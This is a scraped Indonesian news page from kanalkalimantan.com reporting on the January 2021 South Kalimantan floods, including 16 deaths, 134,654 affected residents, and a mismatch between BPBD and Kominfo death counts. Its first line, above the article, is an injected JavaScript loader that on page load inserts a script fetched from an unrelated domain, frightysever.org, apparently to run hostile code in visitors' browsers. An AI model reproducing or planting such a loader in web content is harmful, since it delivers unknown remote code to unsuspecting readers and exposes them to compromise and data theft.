(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Data Korban Banjir Tak Sinkron, Sekda Tegaskan Berpegang Data BPBD Kalsel


KANALKALIMANTAN.COM , BANJARBARU – Banjir belum berakhir  Kalimantan Selatan. Pemerintah yang dianggap kurang sigap dalam mengantisipasi bencana pada awal tahun 2021, pada akhirnya menetapkan status Tanggap Darurat.

Belasan nyawa masyarakat  melayang akibat dampak banjir yang kian meluas.

“Untuk korban yang meninggal dunia sampai saat ini ada 16 jiwa,” kata Sekretaris Daerah (Sekda) Prov Kalsel, Roy Rizali Anwar, Minggu (17/1/2021).

Salah satu peristiwa banjir yang menelan korban jiwa, terjadi di Kota Banjarbaru. Pilu mengingat korban dalam kejadian ini ialah anak perempuan berusia 3 tahun. Korban terseret derasnya arus air di saluran drainase perkarangan rumah.

Di sisi lain, tercatat saat ini ada 37.323 Kepala Keluarga (KK), dengan total 134.654 jiwa yang terdampak banjir di Banua. Dari jumlah itu, 33.007  jiwa di antaranya terpaksa harus mengungsi.

Data yang  ini merupakan hasil rekapitulasi laporan harian Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalsel, hingga per 16 Januari 2021

 

 

Di singgung mengenai adanya tudingan data yang ditayangkan atau dipablis Pemprov Kalsel tidak sinkron, Sekda mengungkapkan bahwa data terkini kondisi banjir di Kalsel diharapkan hanya melalui satu pintu, yakni dari BPBD Prov Kalsel.

“Kita berpatok dengan data BPBD Kalsel. Karena data ini yang kita laporkan ke pemerintah pusat,” tegad dia.

Berdasar data yang didapat kanalkalimantan.com, Dinas Kominfo Kalsel mempablis data melalui medsos pada Minggu (17/1/2021) siang. Pada tabel yang dibagikan Kominfo Kalsel disebutkan ada 15 orang meninggal akibat banjir, sedangkan Sekda, melalui data BPBD Kalsel menyebutkan ada 16 korban meninggal dunia akibat banjir ini. (kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Dhani

 

 

 

 


Al Ghifari

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

8 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

8 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

10 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

10 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

10 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

16 jam ago

This website uses cookies.